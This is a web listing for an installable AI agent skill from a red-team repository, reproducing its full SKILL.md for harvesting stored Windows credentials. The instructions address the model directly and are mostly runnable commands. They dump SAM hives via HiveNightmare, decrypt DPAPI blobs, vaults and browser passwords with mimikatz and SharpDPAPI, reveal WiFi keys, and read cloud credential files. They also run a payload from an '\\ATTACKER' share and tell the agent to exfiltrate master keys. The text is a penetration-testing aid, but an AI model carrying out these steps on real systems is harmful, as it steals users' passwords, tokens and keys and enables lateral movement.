Windows Credential Harvesting logo

Windows Credential Harvesting

Organization
blacklanternsecurity
windows-credential-harvesting

Harvest stored credentials from a Windows system for privilege escalation or lateral movement.

Overview

Publisherblacklanternsecurity
Repositoryred-run
Skill namewindows-credential-harvesting
Stars
276
Forks
39
Bundled files
Instructions only
LicenseGPL-3.0
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by blacklanternsecurity on GitHub. Read the source before you install it.

Installation

Install the Windows Credential Harvesting AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/blacklanternsecurity/red-run.git /tmp/red-run
mkdir -p .claude/skills
cp -r /tmp/red-run/skills/privesc/windows-credential-harvesting .claude/skills/windows-credential-harvesting
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Windows Credential Harvesting in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Windows Credential Harvesting on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Windows Credential Harvesting is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Windows Credential Harvesting

You are helping a penetration tester find and extract locally stored credentials on a Windows system. This covers file-based, registry-based, and DPAPI-protected secrets. All testing is under explicit written authorization.

Scope distinction: This skill covers LOCAL credential discovery — passwords in files, registry, vaults, browsers, DPAPI blobs, and shadow copies. For AD-level extraction (DCSync, NTDS.dit, LAPS, gMSA, DSRM), use credential-dumping instead.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [windows-credential-harvesting] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • Shell access on a Windows system (cmd.exe, PowerShell, or webshell)
  • Current user context known (whoami)
  • Higher access level unlocks more techniques (admin → SAM, DPAPI machine keys)

Step 1: Quick Wins (No Admin Required)

Start with techniques that work at any privilege level. These often yield immediate results with minimal detection.

Saved Credentials (cmdkey)

cmd
cmdkey /list

If entries exist, use them:

cmd
runas /savecred /user:DOMAIN\admin cmd.exe
runas /savecred /user:administrator "\\ATTACKER\share\payload.exe"

Registry Autologon

cmd
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultUserName DefaultDomainName DefaultPassword"

PowerShell History

cmd
type %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
powershell
# Search all users (if readable)
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt -ErrorAction SilentlyContinue | ForEach-Object {
    Write-Host "`n=== $($_.FullName) ===" -ForegroundColor Yellow
    Select-String -Path $_ -Pattern "passw|cred|secret|key|token|login" -Context 1,1
}

PowerShell Transcripts

powershell
# Check common transcript locations
Get-ChildItem C:\Transcripts\ -Recurse -ErrorAction SilentlyContinue
Get-ChildItem C:\Users\*\Documents\PowerShell_transcript* -ErrorAction SilentlyContinue

Unattend / Sysprep Files

cmd
dir /s /b C:\*unattend.xml C:\*sysprep.xml C:\*sysprep.inf 2>nul
type C:\Windows\Panther\Unattend.xml 2>nul | findstr /i "password"
type C:\Windows\Panther\Unattend\Unattend.xml 2>nul | findstr /i "password"
type C:\Windows\system32\sysprep\sysprep.xml 2>nul | findstr /i "password"

Passwords in unattend files are often base64-encoded:

bash
echo "U2VjcmV0UGFzc3dvcmQxMjM=" | base64 -d
powershell
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("U2VjcmV0UGFzc3dvcmQxMjM="))

Registry Password Search

cmd
reg query HKLM /F "password" /t REG_SZ /S /K 2>nul | findstr /i "password"
reg query HKCU /F "password" /t REG_SZ /S /K 2>nul | findstr /i "password"

PuTTY / SSH Saved Sessions

cmd
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
reg query "HKCU\Software\OpenSSH\Agent\Keys"

WiFi Passwords

cmd
netsh wlan show profile
netsh wlan show profile <SSID> key=clear

One-liner to dump all WiFi passwords:

cmd
for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off >nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on

IIS Web.config

powershell
Get-ChildItem -Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config 2>nul | findstr /i "connectionString password"

Credential File Search

cmd
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt *.config 2>nul
dir /S /B *pass*.txt *pass*.xml *pass*.ini *cred* *vnc* *.config* 2>nul
findstr /spin "password" *.* 2>nul

SessionGopher (All Saved Sessions)

powershell
Import-Module .\SessionGopher.ps1
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o

Extracts: PuTTY, WinSCP, SuperPuTTY, FileZilla, RDP saved sessions.

Step 2: HiveNightmare / SAM Shadow Copy (CVE-2021-36934)

Check if the SAM hive is readable by non-admin users due to misconfigured ACLs.

Detection

cmd
icacls C:\Windows\System32\config\SAM

Vulnerable if output includes BUILTIN\Users:(I)(RX).

Exploitation

cmd
:: List available shadow copies
vssadmin list shadows
powershell
# Extract via mimikatz shadow copy access
mimikatz# misc::shadowcopies
mimikatz# lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM

# Also extract SECURITY hive for LSA secrets
mimikatz# lsadump::secrets /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /security:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY

Alternative — map shadow copy and extract offline:

cmd
mklink /d C:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
copy C:\shadowcopy\Windows\System32\config\SAM C:\Windows\Temp\SAM
copy C:\shadowcopy\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM
bash
# Offline extraction (attacker machine)
secretsdump.py -sam SAM -system SYSTEM LOCAL
# Or: samdump2 SYSTEM SAM
# Or: pwdump SYSTEM SAM

Backup Hive Locations

Also check these paths for SAM/SYSTEM copies:

%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\RegBack\system

Step 3: DPAPI Extraction

DPAPI (Data Protection API) encrypts credentials, vault entries, browser passwords, and other secrets using keys derived from the user's password. Decrypting DPAPI requires either the user's password/NTLM hash, LSASS memory, or the domain backup key.

Locate DPAPI Blobs

powershell
# Master keys
Get-ChildItem -Hidden C:\Users\*\AppData\Roaming\Microsoft\Protect\ -Recurse
Get-ChildItem -Hidden C:\Users\*\AppData\Local\Microsoft\Protect\ -Recurse

# Credential blobs
Get-ChildItem -Hidden C:\Users\*\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\*\AppData\Roaming\Microsoft\Credentials\

# Vault files
Get-ChildItem -Hidden C:\Users\*\AppData\Local\Microsoft\Vault\
Get-ChildItem -Hidden C:\Users\*\AppData\Roaming\Microsoft\Vault\

Decrypt (Current User Session — Easiest)

If running as the target user, DPAPI automatically uses the loaded master key:

powershell
# SharpDPAPI — decrypt everything accessible in current user context
SharpDPAPI.exe triage /unprotect
SharpDPAPI.exe credentials /unprotect
SharpDPAPI.exe vaults /unprotect
SharpDPAPI.exe rdg /unprotect
powershell
# Mimikatz — in-session decryption
mimikatz# dpapi::cred /in:C:\Users\user\AppData\Local\Microsoft\Credentials\<GUID> /unprotect

Decrypt (Known Password or NTLM Hash)

bash
# SharpDPAPI — with password
SharpDPAPI.exe masterkeys /password:PASSWORD
SharpDPAPI.exe triage /password:PASSWORD

# SharpDPAPI — with NTLM hash
SharpDPAPI.exe masterkeys /ntlm:NTLM_HASH

# Mimikatz — decrypt master key with password
mimikatz# dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}\{GUID}" /sid:S-1-5-21-...-1107 /password:PASSWORD /protected
# Then use the master key to decrypt blobs
mimikatz# dpapi::cred /in:C:\path\to\credential /masterkey:MASTERKEY_HEX
bash
# Impacket dpapi.py (offline)
python3 dpapi.py masterkey -file {GUID} -sid S-1-5-21-...-1107 -password 'Password!'
python3 dpapi.py credential -file CREDENTIAL_BLOB -key 0xMASTERKEY_HEX

Decrypt (RPC to Domain Controller — Domain-Joined)

If the user is currently logged in on a domain-joined machine:

powershell
# SharpDPAPI — RPC call to DC for master key decryption
SharpDPAPI.exe masterkeys /rpc
SharpDPAPI.exe triage /rpc

# Mimikatz
mimikatz# dpapi::masterkey /in:"C:\...\{GUID}" /rpc

Decrypt (Domain Backup Key — Domain Admin)

With domain admin access, extract the DPAPI backup key to decrypt any user's master keys:

bash
# Extract domain backup key
SharpDPAPI.exe backupkey /server:DC01.domain.local /file:key.pvk

# Mimikatz
mimikatz# lsadump::backupkeys /system:DC01.domain.local /export

# Then decrypt any user's credentials with the backup key
SharpDPAPI.exe triage /pvk:key.pvk
SharpDPAPI.exe credentials /server:TARGET /pvk:key.pvk

Decrypt (LSASS Memory — Local Admin)

powershell
# Extract DPAPI keys from LSASS
mimikatz# sekurlsa::dpapi

# Use the prekey from LSASS dump
SharpDPAPI.exe triage /prekey:SHA1_HEX

DPAPI Machine Keys (Local Admin)

For machine-scoped DPAPI (e.g., scheduled task credentials, service account creds):

powershell
# Extract machine DPAPI key from LSA secrets
reg save HKLM\SYSTEM C:\Windows\Temp\system.hiv
reg save HKLM\SECURITY C:\Windows\Temp\security.hiv

# Offline extraction
mimikatz# lsadump::secrets /system:system.hiv /security:security.hiv

Offline DPAPI Master Key Extraction

If you have master key files but not the password, extract the hash for offline cracking:

bash
# Extract hashcat-format hashes from master keys
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\{SID} --mode hashcat --outfile engagement/evidence/dpapi-masterkey-bob.hc

Do NOT crack hashes in this skill. Save the DPAPI master key hash to engagement/evidence/ and return to the orchestrator with the hash file path, hash type (DPAPI masterkey / hashcat mode 15900), and a routing recommendation to credential-recovery.

Step 4: Browser Credentials

Chrome / Edge (Chromium-based — DPAPI encrypted)

powershell
# SharpChrome — interactive (current user session)
SharpChrome.exe logins /browser:chrome /unprotect
SharpChrome.exe logins /browser:edge /unprotect
SharpChrome.exe cookies /browser:chrome /format:csv /unprotect

# Offline workflow — extract state key, then decrypt
SharpChrome.exe statekeys /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Local State" /unprotect
# Use the hex statekey output to decrypt cookies offline
SharpChrome.exe cookies /target:"C:\Users\bob\...\Default\Cookies" /statekey:STATEKEY_HEX /format:json

# Remote with domain backup key
SharpChrome.exe logins /server:HOST01 /browser:chrome /pvk:key.pvk
SharpChrome.exe cookies /server:HOST01 /browser:edge /pvk:BASE64

# With DPAPI prekey from LSASS dump
SharpChrome.exe logins /browser:edge /prekey:SHA1_HEX

Chrome/Edge file locations:

C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Default\Login Data
C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Local State
C:\Users\<USER>\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Firefox (NSS encrypted — no DPAPI)

C:\Users\<USER>\AppData\Roaming\Mozilla\Firefox\Profiles\<PROFILE>\key4.db
C:\Users\<USER>\AppData\Roaming\Mozilla\Firefox\Profiles\<PROFILE>\logins.json

Tools: SharpWeb, firefox_decrypt.py, firepwd.py.

Mimikatz Chrome Decryption

powershell
mimikatz# dpapi::chrome /in:"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" /unprotect

Step 5: Additional Credential Sources

Credential Manager / Vault (Detailed)

cmd
:: List vault entries
vaultcmd /listcreds:"Windows Credentials" /all
vaultcmd /listcreds:"Web Credentials" /all
powershell
# Mimikatz vault dumping
mimikatz# vault::list
mimikatz# vault::cred /patch

Sticky Notes

powershell
# SQLite database — may contain passwords in notes
$db = "C:\Users\$env:USERNAME\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite"
if (Test-Path $db) { Write-Host "Sticky Notes DB found: $db" }

Copy and open with any SQLite viewer — notes stored in plaintext.

VNC Passwords

cmd
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v password

VNC passwords are DES-encrypted with a fixed key — trivially decryptable.

McAfee SiteList.xml

cmd
dir /s /b "C:\ProgramData\McAfee\*SiteList*" 2>nul
dir /s /b "C:\Program Files\McAfee\*SiteList*" 2>nul

May contain encrypted repository credentials.

Cloud Credential Files

powershell
# AWS
Test-Path "$env:USERPROFILE\.aws\credentials"
type "$env:USERPROFILE\.aws\credentials" 2>nul

# Azure
Test-Path "$env:USERPROFILE\.azure"
dir "$env:USERPROFILE\.azure" 2>nul

# GCP
Test-Path "$env:APPDATA\gcloud\credentials.db"

# Kubernetes
Test-Path "$env:USERPROFILE\.kube\config"
type "$env:USERPROFILE\.kube\config" 2>nul | findstr /i "password token"

Alternate Data Streams

powershell
# Check for hidden data streams
Get-Item -Path C:\Users\*\Desktop\* -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' }
# Read a specific stream
Get-Content -Path file.txt -Stream HiddenStream

Step 6: Escalate or Pivot

STOP and return to the orchestrator with:

  • What was achieved (RCE, creds, file read, etc.)
  • New credentials, access, or pivot paths discovered
  • Context for next steps (platform, access method, working payloads)

Troubleshooting

SharpDPAPI "Cannot decrypt master key"

The master key is protected by the user's password. You need either: (1) the user's plaintext password or NTLM hash, (2) access to LSASS memory (local admin), (3) the domain backup key (domain admin), or (4) to run as the target user (in-session).

HiveNightmare — no shadow copies available

The vulnerability requires existing volume shadow copies. Check with vssadmin list shadows. If none exist, this path is not exploitable without creating one (requires admin).

Chrome "Login Data" locked by Chrome process

Copy the file to a temp location before reading:

cmd
copy "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" C:\Windows\Temp\LoginData

DPAPI blobs found but no way to decrypt

Exfiltrate the master key files and credential blobs to the attacker machine. Use DPAPISnoop to generate hashcat-format hashes (mode 15900), save to engagement/evidence/, and route to credential-recovery.

"Access Denied" on other users' profiles

Without admin access, you can only harvest credentials from the current user's profile. Escalate first via windows-uac-bypass or windows-token-impersonation, then re-run harvesting.

Frequently asked questions

What does the Windows Credential Harvesting AI skill do?

Harvest stored credentials from a Windows system for privilege escalation or lateral movement.

Why use Windows Credential Harvesting on TypingMind?

Because you install it once and use it with any model. Windows Credential Harvesting is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Windows Credential Harvesting in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/blacklanternsecurity/red-run/tree/main/skills/privesc/windows-credential-harvesting. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Windows Credential Harvesting?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Windows Credential Harvesting?

As many as you like. As long as a model supports skills, you can use Windows Credential Harvesting with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Windows Credential Harvesting AI skill free?

Yes. It is published on GitHub by blacklanternsecurity under the GPL-3.0 license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇